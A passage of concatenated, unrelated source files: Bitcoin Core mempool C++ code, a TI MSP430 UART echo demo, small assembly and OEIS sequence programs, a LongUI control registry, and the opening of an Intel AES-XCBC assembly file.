removeRecursive(txConflict, MemPoolRemovalReason::CONFLICT); } } } } /** * Called when a block is connected. Removes from mempool and updates the miner fee estimator. */ void CTxMemPool::removeForBlock(const std::vector<CTransactionRef>& vtx, unsigned int nBlockHeight) { LOCK(cs); std::vector<const CTxMemPoolEntry*> entries; for (const auto& tx : vtx) { uint256 hash = tx->GetHash(); indexed_transaction_set::iterator i = mapTx.find(hash); if (i != mapTx.end()) entries.push_back(&*i); } // Before the txs in the new block have been removed from the mempool, update policy estimates if (minerPolicyEstimator) {minerPolicyEstimator->processBlock(nBlockHeight, entries);} for (const auto& tx : vtx) { txiter it = mapTx.find(tx->GetHash()); if (it != mapTx.end()) { setEntries stage; stage.insert(it); RemoveStaged(stage, true, MemPoolRemovalReason::BLOCK); } removeConflicts(*tx); ClearPrioritisation(tx->GetHash()); } lastRollingFeeUpdate = GetTime(); blockSinceLastRollingFeeBump = true; } void CTxMemPool::_clear() { mapLinks.clear(); mapTx.clear(); mapNextTx.clear(); totalTxSize = 0; cachedInnerUsage = 0; lastRollingFeeUpdate = GetTime(); blockSinceLastRollingFeeBump = false; rollingMinimumFeeRate = 0; ++nTransactionsUpdated; } void CTxMemPool::clear() { LOCK(cs); _clear(); } static void CheckInputsAndUpdateCoins(const CTransaction& tx, CCoinsViewCache& mempoolDuplicate, const int64_t spendheight) { CValidationState state; CAmount txfee = 0; bool fCheckResult = tx.IsCoinBase() || Consensus::CheckTxInputs(tx, state, mempoolDuplicate, spendheight, txfee); assert(fCheckResult); UpdateCoins(tx, mempoolDuplicate, 1000000); } void CTxMemPool::check(const CCoinsViewCache *pcoins) const { LOCK(cs); if (nCheckFrequency == 0) return; if (GetRand(std::numeric_limits<uint32_t>::max()) >= nCheckFrequency) return; LogPrint(BCLog::MEMPOOL, "Checking mempool with %u transactions and %u inputs\n", (unsigned int)mapTx.size(), (unsigned int)mapNextTx.size()); uint64_t checkTotal = 0; uint64_t innerUsage = 0; CCoinsViewCache mempoolDuplicate(const_cast<CCoinsViewCache*>(pcoins)); const int64_t spendheight = GetSpendHeight(mempoolDuplicate); std::list<const CTxMemPoolEntry*> waitingOnDependants; for (indexed_transaction_set::const_iterator it = mapTx.begin(); it != mapTx.end(); it++) { unsigned int i = 0; checkTotal += it->GetTxSize(); innerUsage += it->DynamicMemoryUsage(); const CTransaction& tx = it->GetTx(); txlinksMap::const_iterator linksiter = mapLinks.find(it); assert(linksiter != mapLinks.end()); const TxLinks &links = linksiter->second; innerUsage += memusage::DynamicUsage(links.parents) + memusage::DynamicUsage(links.children); bool fDependsWait = false; setEntries setParentCheck; for (const CTxIn &txin : tx.vin) { // Check that every mempool transaction's inputs refer to available coins, or other mempool tx's. indexed_transaction_set::const_iterator it2 = mapTx.find(txin.prevout.hash); if (it2 != mapTx.end()) { const CTransaction& tx2 = it2->GetTx(); assert(tx2.vout.size() > txin.prevout.n && !tx2.vout[txin.prevout.n].IsNull()); fDependsWait = true; setParentCheck.insert(it2); } else { assert(pcoins->HaveCoin(txin.prevout)); } // Check whether its inputs are marked in mapNextTx. auto it3 = mapNextTx.find(txin.prevout); assert(it3 != mapNextTx.end()); assert(it3->first == &txin.prevout); assert(it3->second == &tx); i++; } assert(setParentCheck == GetMemPoolParents(it)); // Verify ancestor state is correct. setEntries setAncestors; uint64_t nNoLimit = std::numeric_limits<uint64_t>::max(); std::string dummy; CalculateMemPoolAncestors(*it, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy); uint64_t nCountCheck = setAncestors.size() + 1; uint64_t nSizeCheck = it->GetTxSize(); CAmount nFeesCheck = it->GetModifiedFee(); int64_t nSigOpCheck = it->GetSigOpCost(); for (txiter ancestorIt : setAncestors) { nSizeCheck += ancestorIt->GetTxSize(); nFeesCheck += ancestorIt->GetModifiedFee(); nSigOpCheck += ancestorIt->GetSigOpCost(); } assert(it->GetCountWithAncestors() == nCountCheck); assert(it->GetSizeWithAncestors() == nSizeCheck); assert(it->GetSigOpCostWithAncestors() == nSigOpCheck); assert(it->GetModFeesWithAncestors() == nFeesCheck); // Check children against mapNextTx CTxMemPool::setEntries setChildrenCheck; auto iter = mapNextTx.lower_bound(COutPoint(it->GetTx().GetHash(), 0)); uint64_t child_sizes = 0; for (; iter != mapNextTx.end() && iter->first->hash == it->GetTx().GetHash(); ++iter) { txiter childit = mapTx.find(iter->second->GetHash()); assert(childit != mapTx.end()); // mapNextTx points to in-mempool transactions if (setChildrenCheck.insert(childit).second) { child_sizes += childit->GetTxSize(); } } assert(setChildrenCheck == GetMemPoolChildren(it)); // Also check to make sure size is greater than sum with immediate children. // just a sanity check, not definitive that this calc is correct... assert(it->GetSizeWithDescendants() >= child_sizes + it->GetTxSize()); if (fDependsWait) waitingOnDependants.push_back(&(*it)); else { CheckInputsAndUpdateCoins(tx, mempoolDuplicate, spendheight); } } unsigned int stepsSinceLastRemove = 0; while (!waitingOnDependants.empty()) { const CTxMemPoolEntry* entry = waitingOnDependants.front(); waitingOnDependants.pop_front(); if (!mempoolDuplicate.HaveInputs(entry->GetTx())) { waitingOnDependants.push_back(entry); stepsSinceLastRemove++; assert(stepsSinceLastRemove < waitingOnDependants.size()); } else { CheckInputsAndUpdateCoins(entry->GetTx(), mempoolDuplicate, spendheight); stepsSinceLastRemove = 0; } } for (auto it = mapNextTx.cbegin(); it != mapNextTx.cend(); it++) { uint256 hash = it->second->GetHash(); indexed_transaction_set::const_iterator it2 = mapTx.find(hash); const CTransaction& tx = it2->GetTx(); assert(it2 != mapTx.end()); assert(&tx == it->second); } assert(totalTxSize == checkTotal); assert(innerUsage == cachedInnerUsage); } bool CTxMemPool::CompareDepthAndScore(const uint256& hasha, const uint256& hashb) { LOCK(cs); indexed_transaction_set::const_iterator i = mapTx.find(hasha); if (i == mapTx.end()) return false; indexed_transaction_set::const_iterator j = mapTx.find(hashb); if (j == mapTx.end()) return true; uint64_t counta = i->GetCountWithAncestors(); uint64_t countb = j->GetCountWithAncestors(); if (counta == countb) { return CompareTxMemPoolEntryByScore()(*i, *j); } return counta < countb; } namespace { class DepthAndScoreComparator { public: bool operator()(const CTxMemPool::indexed_transaction_set::const_iterator& a, const CTxMemPool::indexed_transaction_set::const_iterator& b) { uint64_t counta = a->GetCountWithAncestors(); uint64_t countb = b->GetCountWithAncestors(); if (counta == countb) { return CompareTxMemPoolEntryByScore()(*a, *b); } return counta < countb; } }; } // namespace std::vector<CTxMemPool::indexed_transaction_set::const_iterator> CTxMemPool::GetSortedDepthAndScore() const { std::vector<indexed_transaction_set::const_iterator> iters; AssertLockHeld(cs); iters.reserve(mapTx.size()); for (indexed_transaction_set::iterator mi = mapTx.begin(); mi != mapTx.end(); ++mi) { iters.push_back(mi); } std::sort(iters.begin(), iters.end(), DepthAndScoreComparator()); return iters; } void CTxMemPool::queryHashes(std::vector<uint256>& vtxid) { LOCK(cs); auto iters = GetSortedDepthAndScore(); vtxid.clear(); vtxid.reserve(mapTx.size()); for (auto it : iters) { vtxid.push_back(it->GetTx().GetHash()); } } static TxMempoolInfo GetInfo(CTxMemPool::indexed_transaction_set::const_iterator it) { return TxMempoolInfo{it->GetSharedTx(), it->GetTime(), CFeeRate(it->GetFee(), it->GetTxSize()), it->GetModifiedFee() - it->GetFee()}; } std::vector<TxMempoolInfo> CTxMemPool::infoAll() const { LOCK(cs); auto iters = GetSortedDepthAndScore(); std::vector<TxMempoolInfo> ret; ret.reserve(mapTx.size()); for (auto it : iters) { ret.push_back(GetInfo(it)); } return ret; } CTransactionRef CTxMemPool::get(const uint256& hash) const { LOCK(cs); indexed_transaction_set::const_iterator i = mapTx.find(hash); if (i == mapTx.end()) return nullptr; return i->GetSharedTx(); } TxMempoolInfo CTxMemPool::info(const uint256& hash) const { LOCK(cs); indexed_transaction_set::const_iterator i = mapTx.find(hash); if (i == mapTx.end()) return TxMempoolInfo(); return GetInfo(i); } void CTxMemPool::PrioritiseTransaction(const uint256& hash, const CAmount& nFeeDelta) { { LOCK(cs); CAmount &delta = mapDeltas[hash]; delta += nFeeDelta; txiter it = mapTx.find(hash); if (it != mapTx.end()) { mapTx.modify(it, update_fee_delta(delta)); // Now update all ancestors' modified fees with descendants setEntries setAncestors; uint64_t nNoLimit = std::numeric_limits<uint64_t>::max(); std::string dummy; CalculateMemPoolAncestors(*it, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy, false); for (txiter ancestorIt : setAncestors) { mapTx.modify(ancestorIt, update_descendant_state(0, nFeeDelta, 0)); } // Now update all descendants' modified fees with ancestors setEntries setDescendants; CalculateDescendants(it, setDescendants); setDescendants.erase(it); for (txiter descendantIt : setDescendants) { mapTx.modify(descendantIt, update_ancestor_state(0, nFeeDelta, 0, 0)); } ++nTransactionsUpdated; } } LogPrintf("PrioritiseTransaction: %s feerate += %s\n", hash.ToString(), FormatMoney(nFeeDelta)); } void CTxMemPool::ApplyDelta(const uint256 hash, CAmount &nFeeDelta) const { LOCK(cs); std::map<uint256, CAmount>::const_iterator pos = mapDeltas.find(hash); if (pos == mapDeltas.end()) return; const CAmount &delta = pos->second; nFeeDelta += delta; } void CTxMemPool::ClearPrioritisation(const uint256 hash) { LOCK(cs); mapDeltas.erase(hash); } const CTransaction* CTxMemPool::GetConflictTx(const COutPoint& prevout) const { const auto it = mapNextTx.find(prevout); return it == mapNextTx.end() ? nullptr : it->second; } boost::optional<CTxMemPool::txiter> CTxMemPool::GetIter(const uint256& txid) const { auto it = mapTx.find(txid); if (it != mapTx.end()) return it; return boost::optional<txiter>{}; } CTxMemPool::setEntries CTxMemPool::GetIterSet(const std::set<uint256>& hashes) const { CTxMemPool::setEntries ret; for (const auto& h : hashes) { const auto mi = GetIter(h); if (mi) ret.insert(*mi); } return ret; } bool CTxMemPool::HasNoInputsOf(const CTransaction &tx) const { for (unsigned int i = 0; i < tx.vin.size(); i++) if (exists(tx.vin[i].prevout.hash)) return false; return true; } CCoinsViewMemPool::CCoinsViewMemPool(CCoinsView* baseIn, const CTxMemPool& mempoolIn) : CCoinsViewBacked(baseIn), mempool(mempoolIn) { } bool CCoinsViewMemPool::GetCoin(const COutPoint &outpoint, Coin &coin) const { // If an entry in the mempool exists, always return that one, as it's guaranteed to never // conflict with the underlying cache, and it cannot have pruned entries (as it contains full) // transactions. First checking the underlying cache risks returning a pruned entry instead. CTransactionRef ptx = mempool.get(outpoint.hash); if (ptx) { if (outpoint.n < ptx->vout.size()) { coin = Coin(ptx->vout[outpoint.n], MEMPOOL_HEIGHT, false); return true; } else { return false; } } return base->GetCoin(outpoint, coin); } size_t CTxMemPool::DynamicMemoryUsage() const { LOCK(cs); // Estimate the overhead of mapTx to be 12 pointers + an allocation, as no exact formula for boost::multi_index_contained is implemented. return memusage::MallocUsage(sizeof(CTxMemPoolEntry) + 12 * sizeof(void*)) * mapTx.size() + memusage::DynamicUsage(mapNextTx) + memusage::DynamicUsage(mapDeltas) + memusage::DynamicUsage(mapLinks) + memusage::DynamicUsage(vTxHashes) + cachedInnerUsage; } void CTxMemPool::RemoveStaged(setEntries &stage, bool updateDescendants, MemPoolRemovalReason reason) { AssertLockHeld(cs); UpdateForRemoveFromMempool(stage, updateDescendants); for (txiter it : stage) { removeUnchecked(it, reason); } } int CTxMemPool::Expire(int64_t time) { LOCK(cs); indexed_transaction_set::index<entry_time>::type::iterator it = mapTx.get<entry_time>().begin(); setEntries toremove; while (it != mapTx.get<entry_time>().end() && it->GetTime() < time) { toremove.insert(mapTx.project<0>(it)); it++; } setEntries stage; for (txiter removeit : toremove) { CalculateDescendants(removeit, stage); } RemoveStaged(stage, false, MemPoolRemovalReason::EXPIRY); return stage.size(); } void CTxMemPool::addUnchecked(const CTxMemPoolEntry &entry, bool validFeeEstimate) { setEntries setAncestors; uint64_t nNoLimit = std::numeric_limits<uint64_t>::max(); std::string dummy; CalculateMemPoolAncestors(entry, setAncestors, nNoLimit, nNoLimit, nNoLimit, nNoLimit, dummy); return addUnchecked(entry, setAncestors, validFeeEstimate); } void CTxMemPool::UpdateChild(txiter entry, txiter child, bool add) { setEntries s; if (add && mapLinks[entry].children.insert(child).second) { cachedInnerUsage += memusage::IncrementalDynamicUsage(s); } else if (!add && mapLinks[entry].children.erase(child)) { cachedInnerUsage -= memusage::IncrementalDynamicUsage(s); } } void CTxMemPool::UpdateParent(txiter entry, txiter parent, bool add) { setEntries s; if (add && mapLinks[entry].parents.insert(parent).second) { cachedInnerUsage += memusage::IncrementalDynamicUsage(s); } else if (!add && mapLinks[entry].parents.erase(parent)) { cachedInnerUsage -= memusage::IncrementalDynamicUsage(s); } } const CTxMemPool::setEntries & CTxMemPool::GetMemPoolParents(txiter entry) const { assert (entry != mapTx.end()); txlinksMap::const_iterator it = mapLinks.find(entry); assert(it != mapLinks.end()); return it->second.parents; } const CTxMemPool::setEntries & CTxMemPool::GetMemPoolChildren(txiter entry) const { assert (entry != mapTx.end()); txlinksMap::const_iterator it = mapLinks.find(entry); assert(it != mapLinks.end()); return it->second.children; } CFeeRate CTxMemPool::GetMinFee(size_t sizelimit) const { LOCK(cs); if (!blockSinceLastRollingFeeBump || rollingMinimumFeeRate == 0) return CFeeRate(llround(rollingMinimumFeeRate)); int64_t time = GetTime(); if (time > lastRollingFeeUpdate + 10) { double halflife = ROLLING_FEE_HALFLIFE; if (DynamicMemoryUsage() < sizelimit / 4) halflife /= 4; else if (DynamicMemoryUsage() < sizelimit / 2) halflife /= 2; rollingMinimumFeeRate = rollingMinimumFeeRate / pow(2.0, (time - lastRollingFeeUpdate) / halflife); lastRollingFeeUpdate = time; if (rollingMinimumFeeRate < (double)incrementalRelayFee.GetFeePerK() / 2) { rollingMinimumFeeRate = 0; return CFeeRate(0); } } return std::max(CFeeRate(llround(rollingMinimumFeeRate)), incrementalRelayFee); } void CTxMemPool::trackPackageRemoved(const CFeeRate& rate) { AssertLockHeld(cs); if (rate.GetFeePerK() > rollingMinimumFeeRate) { rollingMinimumFeeRate = rate.GetFeePerK(); blockSinceLastRollingFeeBump = false; } } void CTxMemPool::TrimToSize(size_t sizelimit, std::vector<COutPoint>* pvNoSpendsRemaining) { LOCK(cs); unsigned nTxnRemoved = 0; CFeeRate maxFeeRateRemoved(0); while (!mapTx.empty() && DynamicMemoryUsage() > sizelimit) { indexed_transaction_set::index<descendant_score>::type::iterator it = mapTx.get<descendant_score>().begin(); // We set the new mempool min fee to the feerate of the removed set, plus the // "minimum reasonable fee rate" (ie some value under which we consider txn // to have 0 fee). This way, we don't allow txn to enter mempool with feerate // equal to txn which were removed with no block in between. CFeeRate removed(it->GetModFeesWithDescendants(), it->GetSizeWithDescendants()); removed += incrementalRelayFee; trackPackageRemoved(removed); maxFeeRateRemoved = std::max(maxFeeRateRemoved, removed); setEntries stage; CalculateDescendants(mapTx.project<0>(it), stage); nTxnRemoved += stage.size(); std::vector<CTransaction> txn; if (pvNoSpendsRemaining) { txn.reserve(stage.size()); for (txiter iter : stage) txn.push_back(iter->GetTx()); } RemoveStaged(stage, false, MemPoolRemovalReason::SIZELIMIT); if (pvNoSpendsRemaining) { for (const CTransaction& tx : txn) { for (const CTxIn& txin : tx.vin) { if (exists(txin.prevout.hash)) continue; pvNoSpendsRemaining->push_back(txin.prevout); } } } } if (maxFeeRateRemoved > CFeeRate(0)) { LogPrint(BCLog::MEMPOOL, "Removed %u txn, rolling minimum fee bumped to %s\n", nTxnRemoved, maxFeeRateRemoved.ToString()); } } uint64_t CTxMemPool::CalculateDescendantMaximum(txiter entry) const { // find parent with highest descendant count std::vector<txiter> candidates; setEntries counted; candidates.push_back(entry); uint64_t maximum = 0; while (candidates.size()) { txiter candidate = candidates.back(); candidates.pop_back(); if (!counted.insert(candidate).second) continue; const setEntries& parents = GetMemPoolParents(candidate); if (parents.size() == 0) { maximum = std::max(maximum, candidate->GetCountWithDescendants()); } else { for (txiter i : parents) { candidates.push_back(i); } } } return maximum; } void CTxMemPool::GetTransactionAncestry(const uint256& txid, size_t& ancestors, size_t& descendants) const { LOCK(cs); auto it = mapTx.find(txid); ancestors = descendants = 0; if (it != mapTx.end()) { ancestors = it->GetCountWithAncestors(); descendants = CalculateDescendantMaximum(it); } } SaltedTxidHasher::SaltedTxidHasher() : k0(GetRand(std::numeric_limits<uint64_t>::max())), k1(GetRand(std::numeric_limits<uint64_t>::max())) {}
;******************************************************************************* ; MSP430x24x Demo - USCI_A0, 9600 UART Echo ISR, DCO SMCLK ; ; Description: Echo a received character, RX ISR used. Normal mode is LPM0. ; USCI_A0 RX interrupt triggers TX Echo. ; Baud rate divider with 1MHz = 1MHz/9600 = ~104.2 ; ACLK = n/a, MCLK = SMCLK = CALxxx_1MHZ = 1MHz ; ; MSP430F249 ; ----------------- ; /|\| XIN|- ; | | | ; --|RST XOUT|- ; | | ; | P3.4/UCA0TXD|------------> ; | | 9600 - 8N1 ; | P3.5/UCA0RXD|<------------ ; ; JL Bile ; Texas Instruments Inc. ; May 2008 ; Built Code Composer Essentials: v3 FET ;******************************************************************************* .cdecls C,LIST, "msp430x24x.h" ;------------------------------------------------------------------------------- .text ;Program Start ;------------------------------------------------------------------------------- RESET mov.w #0500h,SP ; Initialize stackpointer StopWDT mov.w #WDTPW+WDTHOLD,&WDTCTL ; Stop WDT CheckCal cmp.b #0FFh,&CALBC1_1MHZ ; Calibration constants erased? jeq Trap cmp.b #0FFh,&CALDCO_1MHZ jne Load Trap jmp $ ; Trap CPU!! Load mov.b &CALBC1_1MHZ,&BCSCTL1 ; Set DCO to 1MHz mov.b &CALDCO_1MHZ,&DCOCTL ; SetupP3 bis.b #030h,&P3SEL ; Use P3.4/P3.5 for USCI_A0 SetupUSCI0 bis.b #UCSSEL_2,&UCA0CTL1 ; SMCLK mov.b #104,&UCA0BR0 ; 1MHz 9600 mov.b #0,&UCA0BR1 ; 1MHz 9600 mov.b #UCBRS0,&UCA0MCTL ; Modulation UCBRSx = 1 bic.b #UCSWRST,&UCA0CTL1 ; **Initialize USCI state machine** bis.b #UCA0RXIE,&IE2 ; Enable USCI_A0 RX interrupt ; Mainloop bis.b #CPUOFF+GIE,SR ; Enter LPM0, interrupts enabled nop ; Needed only for debugger ; ;------------------------------------------------------------------------------- USCI0RX_ISR; Echo back RXed character, confirm TX buffer is ready first ;------------------------------------------------------------------------------- TX0 bit.b #UCA0TXIFG,&IFG2 ; USCI_A0 TX buffer ready? jz TX0 ; Jump if TX buffer not ready mov.b &UCA0RXBUF,&UCA0TXBUF ; TX -> RXed character reti ; ; ;------------------------------------------------------------------------------- ; Interrupt Vectors ;------------------------------------------------------------------------------- .sect ".int23" ; USCI_A0 Rx Vector .short USCI0RX_ISR ; .sect ".reset" ; POR, ext. Reset .short RESET .end
-- HUMAN RESOURCE MACHINE PROGRAM -- a: b: INBOX JUMPN c OUTBOX JUMP a c: COPYTO 0 SUB 0 SUB 0 OUTBOX JUMP b
; A021710: Decimal expansion of 1/706. ; Submitted by Jon Maiga ; 0,0,1,4,1,6,4,3,0,5,9,4,9,0,0,8,4,9,8,5,8,3,5,6,9,4,0,5,0,9,9,1,5,0,1,4,1,6,4,3,0,5,9,4,9,0,0,8,4,9,8,5,8,3,5,6,9,4,0,5,0,9,9,1,5,0,1,4,1,6,4,3,0,5,9,4,9,0,0,8,4,9,8,5,8,3,5,6,9,4,0,5,0,9,9,1,5,0,1 seq $0,199685 ; a(n) = 5*10^n+1. div $0,353 mod $0,10
; A288534: a(n) = n*(2*n^2 + 3), n >= 1; a(0)=1. ; 1,5,22,63,140,265,450,707,1048,1485,2030,2695,3492,4433,5530,6795,8240,9877,11718,13775,16060,18585,21362,24403,27720,31325,35230,39447,43988,48865,54090,59675,65632,71973,78710,85855,93420,101417,109858,118755,128120,137965,148302,159143,170500,182385,194810,207787,221328,235445,250150,265455,281372,297913,315090,332915,351400,370557,390398,410935,432180,454145,476842,500283,524480,549445,575190,601727,629068,657225,686210,716035,746712,778253,810670,843975,878180,913297,949338,986315,1024240,1063125,1102982,1143823,1185660,1228505,1272370,1317267,1363208,1410205,1458270,1507415,1557652,1608993,1661450,1715035,1769760,1825637,1882678,1940895 mov $1,3 mul $1,$0 pow $0,3 mul $0,2 add $0,$1 cmp $1,0 max $1,$0 mov $0,$1
.db E4, F8, E5, F8
%include 'functions.asm' SECTION .data msg1 db 'Hello, brave world!', 0h msg2 db 'This is how we recycle in NASM', 0h SECTION .text global _start _start: mov eax, msg1 call sprintLF mov eax, msg2 call sprintLF call quit
; void *memcpy(void * restrict s1, const void * restrict s2, size_t n) SECTION code_string PUBLIC memcpy EXTERN asm_memcpy memcpy: pop af pop bc pop hl pop de push de push hl push bc push af jp asm_memcpy
#include <interface/ui_ctrlinfolist.h> #include <control/ui_richlistitem.h> #include <control/ui_richlistbox.h> #include <control/ui_radiogroup.h> #include <control/ui_listheader.h> #include <control/ui_boxlayout.h> #include <control/ui_scrollbar.h> #include <control/ui_groupbox.h> #include <control/ui_checkbox.h> #include <control/ui_listhead.h> #include <control/ui_splitter.h> #include <control/ui_listitem.h> #include <control/ui_listcols.h> #include <control/ui_progress.h> #include <control/ui_caption.h> #include <control/ui_tooltip.h> #include <control/ui_listcol.h> #include <control/ui_listbox.h> #include <control/ui_textbox.h> #include <control/ui_spacer.h> #include <control/ui_button.h> #include <control/ui_radio.h> #include <control/ui_scale.h> #include <control/ui_image.h> #include <control/ui_label.h> #include <control/ui_stack.h> #include <control/ui_deck.h> #include <control/ui_test.h> #include <control/ui_tab.h> #include <control/ui_tabs.h> #include <control/ui_tabbox.h> #include <control/ui_tabpanel.h> #include <control/ui_tabpanels.h> #include <control/ui_statusbar.h> #include <control/ui_statusbarpanel.h> #include <control/ui_toolbar.h> #include <control/ui_toolbox.h> #include <control/ui_toolbarbutton.h> #include <control/ui_toolbarseparator.h> #include <control/ui_menuseparator.h> #include <control/ui_menupopup.h> #include <control/ui_menulist.h> #include <control/ui_menuitem.h> #include <control/ui_menubar.h> #include <control/ui_menu.h> #include <control/ui_tree.h> #include <control/ui_treerow.h> #include <control/ui_treecol.h> #include <control/ui_treecols.h> #include <control/ui_treeitem.h> #include <control/ui_treecell.h> #include <control/ui_treechildren.h> #include <control/ui_popup.h> #include <control/ui_popupset.h> // ui namespace namespace LongUI { // -------------------- TYPE DEF ------------------ struct UIMetaTypeDef { static const MetaControl UIPopupSet__s_meta; static UIControl* create_UIPopupSet(UIControl* p) noexcept { return new(std::nothrow) UIPopupSet{ p, UIPopupSet__s_meta }; } static const MetaControl UIPopup__s_meta; static UIControl* create_UIPopup(UIControl* p) noexcept { return new(std::nothrow) UIPopup{ p, UIPopup__s_meta }; } static const MetaControl UIToolBox__s_meta; static UIControl* create_UIToolBox(UIControl* p) noexcept { return new(std::nothrow) UIToolBox{ p, UIToolBox__s_meta }; } static const MetaControl UIToolBarSeparator__s_meta; static UIControl* create_UIToolBarSeparator(UIControl* p) noexcept { return new(std::nothrow) UIToolBarSeparator{ p, UIToolBarSeparator__s_meta }; } }; // UIPopupSet const MetaControl UIMetaTypeDef::UIPopupSet__s_meta = { &UIPopupSet::s_meta, "popupset", UIMetaTypeDef::create_UIPopupSet }; // UIPopup const MetaControl UIMetaTypeDef::UIPopup__s_meta = { &UIPopup::s_meta, "popup", UIMetaTypeDef::create_UIPopup }; // UIToolBox const MetaControl UIMetaTypeDef::UIToolBox__s_meta = { &UIToolBox::s_meta, "toolbox", UIMetaTypeDef::create_UIToolBox }; // UIToolBarSeparator const MetaControl UIMetaTypeDef::UIToolBarSeparator__s_meta = { &UIToolBarSeparator::s_meta, "toolbarseparator", UIMetaTypeDef::create_UIToolBarSeparator }; /// <summary> /// The default control information /// </summary> const MetaControl* const DefaultControlInfo[] = { // 一般控件 &UIControl::s_meta, // Rich List Item - 富列表项目 &UIRichListItem::s_meta, // Rich List Box - 富列表容器 &UIRichListBox::s_meta, // V Box Layout - 垂直箱型布局 &UIVBoxLayout::s_meta, // H Box Layout - 水平箱型布局 &UIHBoxLayout::s_meta, // Radio Group - 单选框组 &UIRadioGroup::s_meta, // List Header - 列表头项 &UIListHeader::s_meta, // Box Layout - 箱型布局 &UIBoxLayout::s_meta, // Scroll Bar - 滚动条 &UIScrollBar::s_meta, // Menu Popup - 菜单弹窗 &UIMenuPopup::s_meta, // Check Box - 多选框 &UICheckBox::s_meta, // Group Box - 分组框 &UIGroupBox::s_meta, // Menu Item - 菜单项 &UIMenuItem::s_meta, // Menu List - 菜单表 &UIMenuList::s_meta, // Progress - 进度条 &UIProgress::s_meta, // Splitter - 分割线 &UISplitter::s_meta, // Text Box - 文本框 &UITextBox::s_meta, // Tooltip - 提示框 &UITooltip::s_meta, // Caption - 分组标题 &UICaption::s_meta, // Spacer - 占位控件 &UISpacer::s_meta, // Button - 按钮控件 &UIButton::s_meta, // Scale - 滑动控件 &UIScale::s_meta, // Image - 图像控件 &UIImage::s_meta, // Label - 标签控件 &UILabel::s_meta, // Radio - 单选框 &UIRadio::s_meta, // Stack - 栈容器 &UIStack::s_meta, // Deck - 甲板容器 &UIDeck::s_meta, // Tab - 标签页 &UITab::s_meta, // Tabs - 标签页组 &UITabs::s_meta, // Tab Box - 标签页框 &UITabBox::s_meta, // Tab Panel - 标签页容器(可选) &UITabPanel::s_meta, // Tab Panels - 标签页容器组 &UITabPanels::s_meta, // Status Bar - 状态栏 &UIStatusBar::s_meta, // Status Bar Panel - 状态栏项目 &UIStatusBarPanel::s_meta, // List Head - 列表头组 &UIListHead::s_meta, // List Item - 列表项 &UIListItem::s_meta, // List Item - 列表列组 &UIListCols::s_meta, // List Box - 列表列 &UIListCol::s_meta, // List Box - 列表框 &UIListBox::s_meta, // Tool Bar 工具条 &UIToolBar::s_meta, // Tool Bar 工具条用按钮 &UIToolBarButton::s_meta, // Menu Separator 菜单分隔栏 &UIMenuSeparator::s_meta, // Menu Bar 菜单栏 &UIMenuBar::s_meta, // Menu 菜单 &UIMenu::s_meta, // Tree - 树控件 &UITree::s_meta, // Tree Row - 树行组 &UITreeRow::s_meta, // Tree Col - 树列项 &UITreeCol::s_meta, // Tree Cols - 树列组 &UITreeCols::s_meta, // Tree Item - 树项目 &UITreeItem::s_meta, // Tree Cell - 树单元 &UITreeCell::s_meta, // Tree Children - 树子节点 &UITreeChildren::s_meta, // ---------------- TYPEDEF ------------------------- &UIMetaTypeDef::UIPopup__s_meta, &UIMetaTypeDef::UIToolBox__s_meta, &UIMetaTypeDef::UIPopupSet__s_meta, &UIMetaTypeDef::UIToolBarSeparator__s_meta, #ifndef NDEBUG // Test - 测试控件 &UITest::s_meta, #endif }; /// <summary> /// Adds the default control information. /// </summary> /// <param name="list">The list.</param> void AddDefaultControlInfo(ControlInfoList& list) noexcept { // 默认CC数量 constexpr uint32_t CONTROL_CLASS_SIZE = 64; list.reserve(CONTROL_CLASS_SIZE); if (list) list.assign( std::begin(DefaultControlInfo), std::end(DefaultControlInfo) ); #ifndef NDEBUG // CONTROL_CLASS_SIZE要足够大 assert(list.size() <= CONTROL_CLASS_SIZE && "set it to bigger"); // 测试正确性 for (auto x : DefaultControlInfo) { // 跳过这个 if (x == &UITooltip::s_meta) continue; // 跳过这个 if (x == &UIMenuPopup::s_meta) continue; // 跳过这个 if (x == &UIMetaTypeDef::UIPopup__s_meta) continue; // 测试这个 if (auto ctrl = x->create_func(nullptr)) { assert(&ctrl->GetMetaInfo() == x); delete ctrl; } } #endif } }
;; ;; Copyright (c) 2012-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "include/imb_job.asm" %include "include/mb_mgr_datastruct.asm" %include "include/cet.inc" %include "include/reg_sizes.asm" %ifndef AES_XCBC_X4 %define AES_XCBC_X4 aes_xcbc_mac_128_x4 %define FLUSH_JOB_AES_XCBC flush_job_aes_xcbc_sse %endif ; void AES_XCBC_X4(AES_XCBC_ARGS_x16 *args, UINT64 len_in_bytes); extern AES_XCBC_X4 section .data default rel align 16 len_masks: ;ddq 0x0000000000000000000000000000FFFF dq 0x000000000000FFFF, 0x0000000000000000 ;ddq 0x000000000000000000000000FFFF0000 dq 0x00000000FFFF0000, 0x0000000000000000 ;ddq 0x00000000000000000000FFFF00000000 dq 0x0000FFFF00000000, 0x0000000000000000 ;ddq 0x0000000000000000FFFF000000000000 dq 0xFFFF000000000000, 